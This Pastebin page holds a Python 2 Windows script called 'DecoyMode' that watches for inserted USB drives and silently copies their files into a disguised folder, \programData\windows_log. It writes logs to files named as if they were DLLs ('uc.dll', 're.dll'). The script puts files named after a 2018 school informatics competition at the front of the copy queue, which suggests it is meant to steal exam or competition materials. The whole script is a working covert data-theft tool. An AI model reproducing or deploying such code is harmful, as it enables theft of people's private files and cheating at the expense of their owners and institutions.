Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- '''
- __ ___________
- _______/ |\_ _____/__ ______
- / ___/\ __\ __)_\ \/ / _ \
- \___ \ | | | \\ ( <_> )
- /____ > |__|/_______ / \_/ \____/
- \/ \/
- '''
- import os, time, shutil, subprocess, sys
- from threading import Thread
- class DecoyMode():
- def __init__(self):
- self._isAlive = True
- # Staring the loop
- # self._mainLoop()
- # Manualy set Drive to monitor
- self._manualMonitor()
- def _mainLoop(self):
- # Funciton variables
- tempVariables = {
- 'usbRunning': [],
- 'settingsSaveTime': time.time(),
- }
- while (self._isAlive):
- # Breaking infinite loop
- try:
- time.sleep(1)
- except:
- log('Control-C, quiting', 'info')
- return
- # USB check
- usbListTemp = _policyCheckUSBConnected()
- for usbPath in usbListTemp:
- if (usbPath not in tempVariables['usbRunning']):
- tempVariables['usbRunning'].append(usbPath)
- Thread(target = _policyCopyFromUSB, args = (usbPath,) ).start()
- for usbPath in tempVariables['usbRunning'][:]:
- if usbPath not in usbListTemp:
- tempVariables['usbRunning'].remove(usbPath)
- def _manualMonitor(self):
- # Get the file in which the manual part is located in
- programDir = os.path.realpath(sys.argv[0])
- programNam = os.path.basename(sys.argv[0])
- programIni = programDir.replace(programNam, '') + 'uc.dll'
- # Attempt to read the file
- drive = 'G:\\'
- try:
- data = coreFile(programIni, 'r')
- if not data: raise Exception("ERROR: No File or empty read")
- drive = data.replace('\n', '').replace('\t', '')
- except:
- coreFile(programIni, 'w', 'G:\\')
- log('failed to load drive: ' + programIni, 'warning')
- while (len(drive) and drive[-1] == ' '):
- drive = drive[0:-1]
- if (len(drive) and (drive[-1] != '\\' and drive[-1] != '/') ):
- drive += '\\'
- log('','')
- log('using drive: ' + drive, 'info')
- mode = 0
- # Looping forever
- while (self._isAlive):
- # Checknig for Ctrl-C
- try:
- time.sleep(0.5)
- except:
- log('Control-C, quiting', 'info')
- break
- # Checking if drive is inserted
- try:
- os.listdir(drive)
- except:
- mode = 0
- continue
- # Dont try to copy files 2 times
- if (mode == 1):
- continue
- mode = 1
- _policyCopyFromUSB(drive)
- def compare(x,y):
- return int(x[1]-y[1])
- def prioritize(loc, data_org):
- '''Function that retursns the order of files in which they will be copied. It prioritizes some according to given settings and file size '''
- newData = []
- taken = {}
- data = data_org[:]
- # Words to place 1st if found
- triggerWrods = ['skolsko_2018', 'skolsko 2018', 'skolsko', 'takmicenje', 'takmi', '2018', 'informatika']
- try:
- sortStuff = []
- for element in data:
- size_ = int(os.path.getsize(loc + element))
- if (size_ > 10000000):
- log('Skipping due to file size: ' + loc+element+str(size_/1000000) , 'info')
- #print 'skipping ', loc + element, size_ / 1000000, 'MB'
- continue
- sortStuff.append( (element, size_ ) )
- sortStuff = sorted(sortStuff, cmp = compare)
- data = []
- for element in sortStuff[:]:
- data.append(element[0])
- except:
- # Size soring failed
- data = data_org
- # searching for words
- for word in triggerWrods:
- for element in data:
- if word in element.lower() and not taken.has_key(element):
- newData.append(element)
- taken[element] = 1
- # Appending the rest of the unused words
- for element in data:
- if not taken.has_key(element):
- newData.append(element)
- taken[element] = 1
- # returning the result
- return newData
- def _policyCopyFromUSB(usbPath):
- log('Detected usb: ' + usbPath, 'success')
- # building the destination location
- try: os.mkdir('\\programData')
- except: pass
- try: os.mkdir('\\programData\\windows_log')
- except: pass
- tempPath = "\\programData\\windows_log\\"
- # DFS like search
- def _searchTree(directory):
- # Checking if you can access the directory (maybe its locked or non-existant due to copy time difference)
- try:
- os.listdir(directory)
- except:
- return
- data = os.listdir(directory)
- # Checking if you can prioritize files
- try:
- data = prioritize(directory, data)
- except:
- log('Failed to prioritize data: ' + directory, 'warning')
- for element in data:
- if os.path.isdir(directory + element + '\\'):
- # Try to make a directory to match the original USB
- try:
- os.mkdir(tempPath + directory.replace(usbPath, '') + element)
- except:
- pass
- _searchTree(directory + element + '\\')
- else:
- # First try copying in directory-like tree that was created with mkdir above
- try:
- shutil.copy(directory + element, tempPath + directory.replace(usbPath, '') + element)
- except:
- # Second (if first copying failes), copy the file direcly into dumpfolder so it doesnt get missed
- log('Failed to copy to tree-like destionation: ' + directory + element, 'warning')
- try:
- shutil.copy(directory + element, tempPath + element)
- except:
- log('Failed to copy file: ' + directory + element, 'error')
- _searchTree(usbPath)
- log('Done', 'success')
- def _policyCheckUSBConnected():
- data = coreCallSystemCMD('wmic logicaldisk where drivetype=2 get deviceid /format:csv', True).split('\r\r\n')[2:-1]
- id = []
- for usb in data:
- try:
- if (':' not in usb): continue
- if ('a' in usb or 'b' in usb): continue
- id.append(usb.split(',')[1]+'/')
- except:
- pass
- return id
- def coreCallSystemCMD(message, waitForResponse = False):
- if 'list' in str(type(message)).lower(): pass
- elif " |split| " in message: message = message.split(' |split| ')
- else: message = message.split(" ")
- process = subprocess.Popen(message,
- stdout=subprocess.PIPE,
- stderr=subprocess.STDOUT, shell = True)
- if waitForResponse:
- return str(process.stdout.read().lower())
- def coreFile(loc, mode, data = '_'):
- try: tempFile = open(loc, mode)
- except: return ''
- if 'w' in mode or 'a' in mode:
- tempFile.write(data)
- if 'r' in mode:
- data = tempFile.read()
- tempFile.close()
- return data
- def log(msg, state = 'info'):
- try: coreFile('\\programData\\re.dll', 'a+', state.upper() + ': ' + msg + "\n")
- except: pass
- print state.upper() + ": " + msg
- if __name__ == '__main__':
- DecoyMode()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement